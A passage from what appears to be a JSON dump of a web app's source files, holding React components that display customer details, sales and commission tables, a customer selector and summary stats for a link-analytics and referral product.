className=\"relative mr-3 flex-shrink-0\">\n              <Icon className=\"mt-0.5 size-4\" />\n              {!isLast && (\n                <div className=\"absolute left-1/2 mt-2 h-8 border-l border-neutral-300 lg:h-3\" />\n              )}\n            </div>\n            <div className=\"flex min-w-0 flex-col gap-x-4 gap-y-1 whitespace-nowrap text-sm text-neutral-800 lg:grow lg:flex-row lg:justify-between\">\n              <div className=\"truncate\">{content(event)}</div>\n              <TimestampTooltip\n                timestamp={event.timestamp}\n                side=\"right\"\n                rows={[\"local\", \"utc\", \"unix\"]}\n              >\n                <span className=\"shrink-0 truncate text-sm text-neutral-500\">\n                  {formatDateTimeSmart(event.timestamp)}\n                </span>\n              </TimestampTooltip>\n            </div>\n          </li>\n        );\n      })}\n    </ul>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/customers/customer-avatar.tsx",
    "content": "import { CustomerProps, NullableOptional } from \"@/lib/types\";\nimport { Avatar } from \"@dub/ui\";\n\nexport function CustomerAvatar({\n  customer,\n  className,\n}: {\n  customer: NullableOptional<\n    Pick<CustomerProps, \"id\" | \"name\" | \"email\" | \"avatar\">\n  >;\n  className?: string;\n}) {\n  return (\n    <Avatar\n      imageUrl={customer.avatar}\n      identifier={customer.id || customer.name || customer.email || \"Unknown\"}\n      className={className}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/customers/customer-details-column.tsx",
    "content": "import { CustomerActivityResponse, CustomerEnriched } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport {\n  Button,\n  CalendarIcon,\n  CopyText,\n  Envelope,\n  Globe,\n  Hyperlink,\n  TimestampTooltip,\n  Tooltip,\n  UTM_PARAMETERS,\n} from \"@dub/ui\";\nimport {\n  capitalize,\n  cn,\n  COUNTRIES,\n  getParamsFromURL,\n  getPrettyUrl,\n} from \"@dub/utils\";\nimport { Pencil } from \"lucide-react\";\nimport { useParams } from \"next/navigation\";\nimport { Fragment, HTMLProps, useMemo } from \"react\";\nimport { DeviceIcon } from \"../analytics/device-icon\";\nimport { useEditCustomerModal } from \"../modals/edit-customer-modal\";\nimport { ConditionalLink } from \"../shared/conditional-link\";\nimport { CustomerAvatar } from \"./customer-avatar\";\n\nexport function CustomerDetailsColumn({\n  customer,\n  customerActivity,\n  isCustomerActivityLoading,\n  isProgramPage = false,\n  workspaceSlug,\n}: {\n  customer?: CustomerEnriched;\n  customerActivity?: CustomerActivityResponse;\n  isCustomerActivityLoading: boolean;\n  isProgramPage?: boolean;\n  workspaceSlug?: string;\n}) {\n  const { programSlug } = useParams<{ programSlug: string }>();\n  const { EditCustomerModal, openEditCustomerModal } = useEditCustomerModal();\n\n  const basicFields = [\n    customer?.email\n      ? {\n          id: \"email\",\n          icon: <Envelope className=\"size-3.5 shrink-0\" />,\n          text: (\n            <CopyText\n              value={customer.email}\n              className=\"min-w-0 truncate text-xs font-medium\"\n            >\n              {customer.email}\n            </CopyText>\n          ),\n        }\n      : null,\n\n    {\n      id: \"country\",\n      icon: customer?.country ? (\n        <img\n          alt={`Flag of ${COUNTRIES[customer.country]}`}\n          src={`https://flag.vercel.app/m/${customer.country}.svg`}\n          className=\"size-3.5 rounded-full\"\n        />\n      ) : (\n        <Globe className=\"size-3.5 shrink-0\" />\n      ),\n      text: customer?.country ? COUNTRIES[customer.country] : \"Planet Earth\",\n    },\n\n    customer?.createdAt\n      ? {\n          id: \"since\",\n          icon: <CalendarIcon className=\"size-3.5 shrink-0\" />,\n          text: (\n            <span>\n              Since{\" \"}\n              <TimestampTooltip\n                timestamp={customer.createdAt}\n                rows={[\"local\", \"utc\", \"unix\"]}\n                side=\"left\"\n              >\n                <span>\n                  {new Date(customer.createdAt).toLocaleDateString(\"en-US\", {\n                    month: \"short\",\n                    day: \"numeric\",\n                    year: \"numeric\",\n                  })}\n                </span>\n              </TimestampTooltip>\n            </span>\n          ),\n        }\n      : null,\n  ].filter((field): field is NonNullable<typeof field> => field !== null);\n\n  const partner = customer?.partner;\n  const link = customerActivity?.link;\n  const click = customerActivity?.events.find((e) => e.event === \"click\");\n\n  const utmParams = useMemo(() => {\n    if (!click?.url) return null;\n    const allParams = getParamsFromURL(click.url);\n\n    return UTM_PARAMETERS.map((p) => ({\n      ...p,\n      value: allParams?.[p.key],\n    })).filter(({ value }) => value);\n  }, [click?.url]);\n\n  return (\n    <>\n      <EditCustomerModal />\n      <div className=\"grid grid-cols-1 gap-6 overflow-hidden whitespace-nowrap text-sm text-neutral-900\">\n        <div className=\"border-border-subtle flex flex-col divide-y divide-neutral-200 rounded-xl border bg-white\">\n          <div className=\"p-4\">\n            <div className=\"flex items-start justify-between gap-2\">\n              <div className=\"relative w-fit\">\n                {customer ? (\n                  <CustomerAvatar\n                    customer={customer}\n                    className=\"size-10 border border-neutral-100\"\n                  />\n                ) : (\n                  <div className=\"size-10 animate-pulse rounded-full bg-neutral-200\" />\n                )}\n              </div>\n\n              {customer && workspaceSlug && (\n                <Button\n                  variant=\"secondary\"\n                  icon={<Pencil className=\"size-3.5\" />}\n                  text=\"Edit\"\n                  className=\"h-7 w-fit rounded-lg px-2\"\n                  onClick={() => openEditCustomerModal(customer)}\n                />\n              )}\n            </div>\n\n            <div className=\"mt-3\">\n              {customer ? (\n                <div className=\"flex items-center gap-2\">\n                  <span className=\"text-content-emphasis text-base font-semibold\">\n                    {customer.name || customer.email}\n                  </span>\n                </div>\n              ) : (\n                <div className=\"h-7 w-24 animate-pulse rounded bg-neutral-200\" />\n              )}\n            </div>\n          </div>\n\n          <div className=\"flex flex-col gap-2 p-4\">\n            {basicFields.map(({ id, icon, text }) => (\n              <div key={id}>\n                <div className=\"text-content-default flex items-center gap-1.5\">\n                  {text !== undefined ? (\n                    <>\n                      {icon}\n                      <span className=\"min-w-0 truncate text-xs font-medium\">\n                        {text}\n                      </span>\n                    </>\n                  ) : (\n                    <div className=\"h-4 w-24 animate-pulse rounded bg-neutral-200\" />\n                  )}\n                </div>\n              </div>\n            ))}\n          </div>\n\n          <div className=\"@md/page:grid-cols-2 @3xl/page:grid-cols-1 grid grid-cols-1 gap-5 p-4 text-xs\">\n            <div>\n              <h2 className=\"text-content-emphasis text-sm font-semibold\">\n                Details\n              </h2>\n\n              <div className=\"mt-2.5 flex flex-col gap-5 text-xs\">\n                <div className=\"flex flex-col gap-2\">\n                  {click\n                    ? [\n                        {\n                          key: \"device\",\n                          icon: (\n                            <DeviceIcon\n                              display={capitalize(click.device)!}\n                              tab=\"devices\"\n                              className=\"size-3.5 shrink-0\"\n                            />\n                          ),\n                          value: click.device,\n                        },\n                        {\n                          key: \"browser\",\n                          icon: (\n                            <DeviceIcon\n                              display={capitalize(click.browser)!}\n                              tab=\"browsers\"\n                              className=\"size-3.5 shrink-0\"\n                            />\n                          ),\n                          value: click.browser,\n                        },\n                        {\n                          key: \"os\",\n                          icon: (\n                            <DeviceIcon\n                              display={capitalize(click.os)!}\n                              tab=\"os\"\n                              className=\"size-3.5 shrink-0\"\n                            />\n                          ),\n                          value: click.os,\n                        },\n                      ]\n                        .filter(({ value }) => value)\n                        .map(({ key, icon, value }) => (\n                          <ConditionalLink\n                            key={key}\n                            href={\n                              value === \"Unknown\"\n                                ? undefined\n                                : `/${workspaceSlug || `programs/${programSlug}`}/${isProgramPage ? \"program/\" : \"\"}analytics?${key}=${encodeURIComponent(value)}`\n                            }\n                            target=\"_blank\"\n                          >\n                            <span className=\"flex items-center gap-2\">\n                              {icon}\n                              <span className=\"truncate\">{value}</span>\n                            </span>\n                          </ConditionalLink>\n                        ))\n                    : (isCustomerActivityLoading || !customer) && (\n                        <div className=\"h-5 w-12 animate-pulse rounded-md bg-neutral-100\" />\n                      )}\n                </div>\n\n                {customer?.externalId && (\n                  <div className=\"flex flex-col gap-2.5\">\n                    <DetailHeading>External ID</DetailHeading>\n                    <div>\n                      <CopyText\n                        value={customer.externalId}\n                        className=\"truncate text-xs\"\n                      >\n                        {customer.externalId}\n                      </CopyText>\n                    </div>\n                  </div>\n                )}\n\n                {customer?.stripeCustomerId && (\n                  <div className=\"flex flex-col gap-2.5\">\n                    <DetailHeading>Stripe Customer ID</DetailHeading>\n                    <div>\n                      <Tooltip content=\"View in Stripe\" align=\"start\">\n                        <div>\n                          <ConditionalLink\n                            href={`https://dashboard.stripe.com/customers/${customer.stripeCustomerId}`}\n                            target=\"_blank\"\n                            rel=\"noopener noreferrer\"\n                            className=\"truncate text-xs\"\n                          >\n                            {customer.stripeCustomerId}\n                          </ConditionalLink>\n                        </div>\n                      </Tooltip>\n                    </div>\n                  </div>\n                )}\n              </div>\n            </div>\n\n            {utmParams && Boolean(utmParams.length) && (\n              <div className=\"flex flex-col gap-5 text-xs\">\n                <div className=\"flex flex-col gap-2.5\">\n                  <DetailHeading>UTM</DetailHeading>\n                  <div className=\"grid w-full grid-cols-[min-content,minmax(0,1fr)] gap-x-4 gap-y-2 overflow-hidden\">\n                    {utmParams.map(({ key, label, value }) => (\n                      <Fragment key={key}>\n                        <span className=\"truncate\">{label}</span>\n                        <ConditionalLink\n                          href={\n                            workspaceSlug\n                              ? `/${workspaceSlug}/${isProgramPage ? \"program/\" : \"\"}analytics?${key}=${encodeURIComponent(value)}`\n                              : undefined\n                          }\n                          target=\"_blank\"\n                          className=\"truncate text-neutral-500\"\n                        >\n                          {value}\n                        </ConditionalLink>\n                      </Fragment>\n                    ))}\n                  </div>\n                </div>\n              </div>\n            )}\n          </div>\n        </div>\n\n        {(link || !customer) && (\n          <div className=\"border-border-subtle rounded-lg border p-4\">\n            <h2 className=\"text-content-emphasis mb-2.5 text-sm font-semibold\">\n              Referral {partner ? \"partner\" : \"link\"}\n            </h2>\n\n            {partner && (\n              <div className=\"mb-4 flex items-center gap-2\">\n                <PartnerAvatar partner={partner} className=\"size-5\" />\n                <ConditionalLink\n                  href={\n                    workspaceSlug\n                      ? `/${workspaceSlug}/program/partners/${partner.id}`\n                      : undefined\n                  }\n                  target=\"_blank\"\n                  className=\"min-w-0 overflow-hidden truncate text-xs font-semibold\"\n                >\n                  {partner.name}\n                </ConditionalLink>\n              </div>\n            )}\n\n            <div className=\"flex flex-col gap-2 text-xs\">\n              {partner && <DetailHeading>Referral link</DetailHeading>}\n              {!customer || isCustomerActivityLoading ? (\n                <div className=\"h-5 w-12 animate-pulse rounded-md bg-neutral-100\" />\n              ) : link ? (\n                <div className=\"flex items-center gap-1.5\">\n                  <Hyperlink className=\"size-3.5 shrink-0\" />\n                  <ConditionalLink\n                    href={\n                      workspaceSlug\n                        ? `/${workspaceSlug}/links/${link.domain}/${link.key}`\n                        : programSlug\n                          ? `/programs/${programSlug}/analytics?linkId=${link.id}`\n                          : undefined\n                    }\n                    target=\"_blank\"\n                    className=\"min-w-0 overflow-hidden truncate\"\n                  >\n                    {getPrettyUrl(link.shortLink)}\n                  </ConditionalLink>\n                </div>\n              ) : (\n                <span>-</span>\n              )}\n            </div>\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n\nconst DetailHeading = ({\n  className,\n  ...rest\n}: HTMLProps<HTMLHeadingElement>) => (\n  <h3\n    className={cn(\"text-content-emphasis text-xs font-semibold\", className)}\n    {...rest}\n  />\n);\n"
  },
  {
    "path": "apps/web/ui/customers/customer-partner-earnings-table.tsx",
    "content": "import { CommissionResponse } from \"@/lib/types\";\nimport { StatusBadge } from \"@dub/ui\";\nimport { currencyFormatter, formatDateTimeSmart, nFormatter } from \"@dub/utils\";\nimport {\n  flexRender,\n  getCoreRowModel,\n  useReactTable,\n} from \"@tanstack/react-table\";\nimport Link from \"next/link\";\nimport { CommissionStatusBadges } from \"../partners/commission-status-badges\";\n\nexport function CustomerPartnerEarningsTable({\n  commissions,\n  totalCommissions,\n  isLoading,\n  viewAllHref,\n}: {\n  commissions?: CommissionResponse[];\n  totalCommissions?: number;\n  isLoading?: boolean;\n  viewAllHref?: string;\n}) {\n  const table = useReactTable({\n    data: commissions || [],\n    columns: [\n      {\n        header: \"Date\",\n        accessorFn: (d) => new Date(d.createdAt),\n        enableHiding: false,\n        minSize: 100,\n        cell: ({ getValue }) => <span>{formatDateTimeSmart(getValue())}</span>,\n      },\n      {\n        header: \"Sale Amount\",\n        accessorKey: \"amount\",\n        cell: ({ getValue }) => <span>{currencyFormatter(getValue())}</span>,\n      },\n      {\n        header: \"Commission\",\n        accessorKey: \"earnings\",\n        cell: ({ getValue }) => <span>{currencyFormatter(getValue())}</span>,\n      },\n      {\n        header: \"Status\",\n        cell: ({ row }) => {\n          const badge = CommissionStatusBadges[row.original.status];\n\n          return (\n            <StatusBadge icon={null} variant={badge.variant}>\n              {badge.label}\n            </StatusBadge>\n          );\n        },\n      },\n    ],\n    getCoreRowModel: getCoreRowModel(),\n  });\n\n  const As = viewAllHref ? Link : \"div\";\n  return (\n    <div className=\"overflow-x-auto\">\n      {isLoading ? (\n        <div className=\"flex h-32 w-full animate-pulse bg-neutral-100\" />\n      ) : !commissions?.length ? (\n        <div className=\"flex h-32 w-full items-center justify-center rounded-lg text-xs text-neutral-500\">\n          {commissions?.length === 0\n            ? \"No earnings yet\"\n            : \"Failed to load earnings\"}\n        </div>\n      ) : (\n        <>\n          <table className=\"[&_tr]:border-border-subtle w-full overflow-hidden text-left text-sm [&_tr]:border-b\">\n            <thead>\n              {table.getHeaderGroups().map((headerGroup) => (\n                <tr key={headerGroup.id}>\n                  {headerGroup.headers.map((header) => (\n                    <th\n                      key={header.id}\n                      className=\"px-4 py-3 font-semibold text-neutral-900\"\n                    >\n                      {header.isPlaceholder\n                        ? null\n                        : flexRender(\n                            header.column.columnDef.header,\n                            header.getContext(),\n                          )}\n                    </th>\n                  ))}\n                </tr>\n              ))}\n            </thead>\n            <tbody className=\"text-neutral-600\">\n              {table.getRowModel().rows.map((row) => (\n                <tr key={row.id}>\n                  {row.getVisibleCells().map((cell) => (\n                    <td key={cell.id} className=\"truncate px-4 py-3\">\n                      {flexRender(\n                        cell.column.columnDef.cell,\n                        cell.getContext(),\n                      )}\n                    </td>\n                  ))}\n                </tr>\n              ))}\n            </tbody>\n          </table>\n          <div className=\"flex items-center gap-1 px-4 py-3 text-sm text-neutral-600\">\n            {commissions.length} of\n            <As\n              href={viewAllHref ?? \"#\"}\n              className=\"flex items-center gap-1.5 font-medium text-neutral-700 hover:text-neutral-900\"\n            >\n              {totalCommissions ? (\n                nFormatter(totalCommissions, { full: true })\n              ) : (\n                <div className=\"size-3 animate-pulse rounded-md bg-neutral-100\" />\n              )}{\" \"}\n              results\n            </As>\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/customers/customer-row-item.tsx",
    "content": "import { generateRandomName } from \"@/lib/names\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport React, { ComponentProps } from \"react\";\nimport { CustomerAvatar } from \"./customer-avatar\";\n\nexport function CustomerRowItem({\n  customer,\n  href,\n  className,\n  avatarClassName,\n}: {\n  customer: {\n    id: string;\n    email?: string | null;\n    name?: string | null;\n    avatar?: string | null;\n  };\n  href?: string;\n  className?: string;\n  avatarClassName?: string;\n}) {\n  const display = customer.email || customer.name || generateRandomName();\n\n  return (\n    <Wrapper\n      element={href ? Link : \"div\"}\n      {...(href\n        ? {\n            href,\n            target: \"_blank\",\n            onClick: (e) => e.stopPropagation(),\n            onAuxClick: (e) => e.stopPropagation(),\n          }\n        : {})}\n      className={cn(\n        \"group flex items-center justify-between gap-2\",\n        href && \"cursor-alias decoration-dotted hover:underline\",\n        className,\n      )}\n    >\n      <div className=\"flex items-center gap-2 truncate\" title={display}>\n        <CustomerAvatar\n          customer={customer}\n          className={cn(\"size-5 border border-neutral-200\", avatarClassName)}\n        />\n        <span className=\"truncate\">{display}</span>\n      </div>\n    </Wrapper>\n  );\n}\n\nconst Wrapper = <T extends React.ElementType>({\n  element: T,\n  ...props\n}: {\n  element: T;\n} & ComponentProps<T>) => <T {...props} />;\n"
  },
  {
    "path": "apps/web/ui/customers/customer-sales-table.tsx",
    "content": "import { CommissionResponse, SaleEvent } from \"@/lib/types\";\nimport { StatusBadge, TimestampTooltip } from \"@dub/ui\";\nimport { currencyFormatter, formatDateTimeSmart, nFormatter } from \"@dub/utils\";\nimport {\n  flexRender,\n  getCoreRowModel,\n  useReactTable,\n} from \"@tanstack/react-table\";\nimport Link from \"next/link\";\nimport { CommissionStatusBadges } from \"../partners/commission-status-badges\";\n\nexport function CustomerSalesTable({\n  sales,\n  totalSales,\n  isLoading,\n  viewAllHref,\n}: {\n  sales?:\n    | Pick<SaleEvent, \"timestamp\" | \"eventName\" | \"saleAmount\">[]\n    | Pick<\n        CommissionResponse,\n        \"createdAt\" | \"amount\" | \"earnings\" | \"status\"\n      >[];\n  totalSales?: number;\n  isLoading?: boolean;\n  viewAllHref?: string;\n}) {\n  const table = useReactTable<\n    | Pick<SaleEvent, \"timestamp\" | \"eventName\" | \"saleAmount\">\n    | Pick<CommissionResponse, \"createdAt\" | \"amount\" | \"earnings\" | \"status\">\n  >({\n    data: sales || [],\n    columns: [\n      {\n        header: \"Date\",\n        accessorFn: (d) =>\n          new Date(\"timestamp\" in d ? d.timestamp : d.createdAt),\n        enableHiding: false,\n        minSize: 100,\n        cell: ({ getValue }) => (\n          <TimestampTooltip\n            timestamp={getValue()}\n            side=\"right\"\n            rows={[\"local\", \"utc\", \"unix\"]}\n          >\n            <span>{formatDateTimeSmart(getValue())}</span>\n          </TimestampTooltip>\n        ),\n      },\n      ...(sales?.length && \"eventName\" in sales?.[0]\n        ? [\n            {\n              header: \"Event\",\n              accessorKey: \"eventName\",\n            },\n          ]\n        : []),\n      {\n        header: \"Amount\",\n        accessorFn: (d) => (\"saleAmount\" in d ? d.saleAmount : d.amount),\n        cell: ({ getValue }) => <span>{currencyFormatter(getValue())}</span>,\n      },\n      ...(sales?.length && \"earnings\" in sales?.[0]\n        ? [\n            {\n              header: \"Earnings\",\n              accessorKey: \"earnings\",\n              cell: ({ getValue }) => (\n                <span>{currencyFormatter(getValue())}</span>\n              ),\n            },\n            {\n              header: \"Status\",\n              cell: ({ row }) => {\n                const badge = CommissionStatusBadges[row.original.status];\n\n                return (\n                  <StatusBadge icon={null} variant={badge.variant}>\n                    {badge.label}\n                  </StatusBadge>\n                );\n              },\n            },\n          ]\n        : []),\n    ],\n    getCoreRowModel: getCoreRowModel(),\n  });\n\n  const As = viewAllHref ? Link : \"div\";\n  return (\n    <div className=\"overflow-x-auto\">\n      {isLoading ? (\n        <div className=\"flex h-32 w-full animate-pulse rounded-lg border border-transparent bg-neutral-100\" />\n      ) : !sales?.length ? (\n        <div className=\"flex h-32 w-full items-center justify-center rounded-lg border border-transparent text-xs text-neutral-500\">\n          {sales?.length === 0 ? \"No sales yet\" : \"Failed to load sales\"}\n        </div>\n      ) : (\n        <>\n          <table className=\"[&_tr]:border-border-subtle w-full overflow-hidden text-left text-sm [&_tr]:border-b\">\n            <thead>\n              {table.getHeaderGroups().map((headerGroup) => (\n                <tr key={headerGroup.id}>\n                  {headerGroup.headers.map((header) => (\n                    <th\n                      key={header.id}\n                      className=\"px-4 py-3 font-semibold text-neutral-900\"\n                    >\n                      {header.isPlaceholder\n                        ? null\n                        : flexRender(\n                            header.column.columnDef.header,\n                            header.getContext(),\n                          )}\n                    </th>\n                  ))}\n                </tr>\n              ))}\n            </thead>\n            <tbody className=\"text-neutral-600\">\n              {table.getRowModel().rows.map((row) => (\n                <tr key={row.id}>\n                  {row.getVisibleCells().map((cell) => (\n                    <td key={cell.id} className=\"truncate px-4 py-3\">\n                      {flexRender(\n                        cell.column.columnDef.cell,\n                        cell.getContext(),\n                      )}\n                    </td>\n                  ))}\n                </tr>\n              ))}\n            </tbody>\n          </table>\n          <div className=\"flex items-center gap-1 px-4 py-3 text-sm text-neutral-600\">\n            {sales.length} of\n            <As\n              href={viewAllHref ?? \"#\"}\n              className=\"flex items-center gap-1.5 font-medium text-neutral-700 hover:text-neutral-900\"\n            >\n              {totalSales ? (\n                nFormatter(totalSales, { full: true })\n              ) : (\n                <div className=\"size-3 animate-pulse rounded-md bg-neutral-100\" />\n              )}{\" \"}\n              results\n            </As>\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/customers/customer-selector.tsx",
    "content": "import useCustomers from \"@/lib/swr/use-customers\";\nimport { CUSTOMERS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/customers\";\nimport { Combobox, ComboboxProps } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\nimport {\n  AddCustomerModal,\n  type AddCustomerInitialData,\n} from \"../modals/add-customer-modal\";\nimport { CustomerAvatar } from \"./customer-avatar\";\n\ntype CustomerSelectorProps = {\n  selectedCustomerId: string | null;\n  setSelectedCustomerId: (customerId: string) => void;\n  disabled?: boolean;\n  variant?: \"default\" | \"header\";\n} & Partial<ComboboxProps<false, any>>;\n\nexport function CustomerSelector({\n  selectedCustomerId,\n  setSelectedCustomerId,\n  disabled,\n  variant = \"default\",\n  ...rest\n}: CustomerSelectorProps) {\n  const [search, setSearch] = useState(\"\");\n  const [useAsync, setUseAsync] = useState(false);\n  const [debouncedSearch] = useDebounce(search, 500);\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const { customers, loading } = useCustomers({\n    query: useAsync ? { search: debouncedSearch } : undefined,\n  });\n\n  const { customers: selectedCustomers, loading: selectedCustomersLoading } =\n    useCustomers({\n      query: selectedCustomerId\n        ? { customerIds: [selectedCustomerId] }\n        : undefined,\n    });\n\n  useEffect(() => {\n    if (customers && !useAsync && customers.length >= CUSTOMERS_MAX_PAGE_SIZE) {\n      setUseAsync(true);\n    }\n  }, [customers, useAsync]);\n\n  const [showAddCustomerModal, setShowAddCustomerModal] = useState(false);\n  const [initialData, setInitialData] = useState<\n    AddCustomerInitialData | undefined\n  >();\n\n  const customerOptions = useMemo(() => {\n    return (\n      customers?.map((customer) => ({\n        value: customer.id,\n        label: customer.name || customer.email || customer.externalId,\n        icon: (\n          <span className=\"shrink-0 text-neutral-600\">\n            <CustomerAvatar customer={customer} className=\"size-4\" />\n          </span>\n        ),\n      })) || []\n    );\n  }, [customers]);\n\n  const selectedOption = useMemo(() => {\n    if (!selectedCustomerId) return null;\n\n    const customer = [...(customers || []), ...(selectedCustomers || [])].find(\n      (c) => c.id === selectedCustomerId,\n    );\n\n    if (!customer) return null;\n\n    return {\n      value: customer.id,\n      label: customer.name || customer.email || customer.externalId,\n      icon: (\n        <span className=\"shrink-0 text-neutral-600\">\n          <CustomerAvatar customer={customer} className=\"size-4\" />\n        </span>\n      ),\n    };\n  }, [customers, selectedCustomers, selectedCustomerId]);\n\n  return (\n    <>\n      <AddCustomerModal\n        showModal={showAddCustomerModal}\n        setShowModal={setShowAddCustomerModal}\n        initialData={initialData}\n        onSuccess={(customer) => {\n          setSelectedCustomerId(customer.id);\n        }}\n      />\n      <Combobox\n        options={loading ? undefined : customerOptions}\n        setSelected={(option) => {\n          if (!option) return;\n          setSelectedCustomerId(option.value);\n        }}\n        selected={selectedOption}\n        icon={\n          variant === \"header\" && !selectedOption?.icon ? (\n            <div className=\"size-5 flex-none animate-pulse rounded-full bg-neutral-200\" />\n          ) : (\n            selectedOption?.icon\n          )\n        }\n        caret={true}\n        placeholder={variant === \"header\" ? \"\" : \"Select customer\"}\n        searchPlaceholder={\n          variant === \"header\"\n            ? \"Search customers...\"\n            : \"Search or create customer...\"\n        }\n        onSearchChange={setSearch}\n        {...(variant !== \"header\" && {\n          createLabel: (search: string) =>\n            `Create ${search ? `\"${search}\"` : \"new customer\"}`,\n          onCreate: async (search: string | undefined) => {\n            const trimmed = search?.trim() ?? \"\";\n            setInitialData(\n              trimmed\n                ? trimmed.includes(\"@\")\n                  ? { email: trimmed }\n                  : { name: trimmed }\n                : undefined,\n            );\n            setShowAddCustomerModal(true);\n            return true;\n          },\n        })}\n        shouldFilter={!useAsync}\n        matchTriggerWidth\n        open={openPopover}\n        onOpenChange={setOpenPopover}\n        {...(variant === \"header\"\n          ? {\n              popoverProps: {\n                contentClassName: \"min-w-[280px]\",\n              },\n              labelProps: {\n                className: \"text-lg font-semibold leading-7 text-neutral-900\",\n              },\n              iconProps: {\n                className: \"size-6\",\n              },\n              buttonProps: {\n                disabled,\n                className:\n                  \"w-full justify-start px-2 py-1 h-8 transition-none max-md:bg-bg-subtle hover:bg-bg-subtle md:hover:bg-subtle border-none rounded-lg\",\n              },\n            }\n          : {\n              buttonProps: {\n                disabled,\n                className: cn(\n                  \"w-full justify-start border-neutral-300 px-3\",\n                  \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n                  \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n                ),\n              },\n            })}\n        {...rest}\n      >\n        {variant === \"header\" && !selectedOption?.label ? (\n          <div className=\"h-6 w-[120px] animate-pulse rounded bg-neutral-100\" />\n        ) : selectedCustomersLoading ? (\n          <div className=\"my-0.5 h-5 w-1/3 animate-pulse rounded bg-neutral-200\" />\n        ) : (\n          selectedOption?.label\n        )}\n      </Combobox>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/customers/customer-stats.tsx",
    "content": "import { CustomerEnriched } from \"@/lib/types\";\nimport { TimestampTooltip } from \"@dub/ui\";\nimport { ArrowUpRight2 } from \"@dub/ui/icons\";\nimport {\n  cn,\n  currencyFormatter,\n  formatDateTimeSmart,\n  nFormatter,\n  pluralize,\n} from \"@dub/utils\";\nimport { formatDistance } from \"date-fns\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { CSSProperties, useMemo } from \"react\";\n\nexport function CustomerStats({\n  customer,\n}: {\n  customer?: Pick<\n    CustomerEnriched,\n    | \"sales\"\n    | \"saleAmount\"\n    | \"createdAt\"\n    | \"firstSaleAt\"\n    | \"subscriptionCanceledAt\"\n  >;\n}) {\n  const { slug: workspaceSlug, customerId } = useParams<{\n    slug: string;\n    customerId: string;\n  }>();\n\n  const stats: {\n    label: string;\n    value?: string | React.ReactNode;\n    href?: string;\n  }[] = useMemo(\n    () => [\n      {\n        label: \"First sale date\",\n        value: !customer ? undefined : customer.firstSaleAt ? (\n          <TimestampTooltip\n            timestamp={customer.firstSaleAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\"]}\n          >\n            <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n              {formatDateTimeSmart(customer.firstSaleAt)}\n            </span>\n          </TimestampTooltip>\n        ) : (\n          \"-\"\n        ),\n      },\n      {\n        label: \"Time to sale\",\n        value: !customer\n          ? undefined\n          : customer.firstSaleAt\n            ? formatDistance(customer.firstSaleAt, customer.createdAt)\n            : \"-\",\n      },\n      {\n        label: \"Lifetime value\",\n        value: customer ? (\n          <div className=\"flex items-center gap-1\">\n            {currencyFormatter(customer.saleAmount ?? 0)}\n            <span className=\"text-xs text-neutral-500\">\n              ({nFormatter(customer.sales ?? 0, { full: true })}{\" \"}\n              {pluralize(\"sale\", customer.sales ?? 0)})\n            </span>\n          </div>\n        ) : undefined,\n        href: `/${workspaceSlug}/events?event=sales&customerId=${customerId}&interval=1y`,\n      },\n      {\n        label: \"Subscription canceled\",\n        value: !customer ? undefined : customer.subscriptionCanceledAt ? (\n          <TimestampTooltip\n            timestamp={customer.subscriptionCanceledAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\"]}\n          >\n            <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n              {formatDateTimeSmart(customer.subscriptionCanceledAt)}\n            </span>\n          </TimestampTooltip>\n        ) : (\n          \"-\"\n        ),\n      },\n    ],\n    [workspaceSlug, customer],\n  );\n\n  return (\n    <div className=\"@container/stats\">\n      <div\n        className={cn(\n          \"@xs/stats:grid-cols-[repeat(var(--cols),1fr)] grid grid-cols-1 ring-4 ring-black/5\",\n          \"gap-px overflow-hidden rounded-xl border border-neutral-200 bg-neutral-200\",\n        )}\n        style={\n          {\n            \"--cols\": stats.length,\n          } as CSSProperties\n        }\n      >\n        {stats.map(({ label, value, href }) => {\n          const As = href ? Link : \"div\";\n          return (\n            <As\n              key={label}\n              href={href ?? \"#\"}\n              target=\"_blank\"\n              className={cn(\n                \"group relative flex flex-col bg-white p-3\",\n                href && \"transition-colors duration-150 hover:bg-neutral-50\",\n              )}\n            >\n              {href && (\n                <ArrowUpRight2 className=\"text-content-subtle absolute right-3 top-3 size-3.5 opacity-50 transition-opacity duration-150 group-hover:opacity-100\" />\n              )}\n              <span className=\"text-xs text-neutral-500\">{label}</span>\n              {value === undefined ? (\n                <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200\" />\n              ) : (\n                <span className=\"text-content-emphasis text-sm font-medium\">\n                  {value}\n                </span>\n              )}\n            </As>\n          );\n        })}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/customers/customer-tabs.tsx",
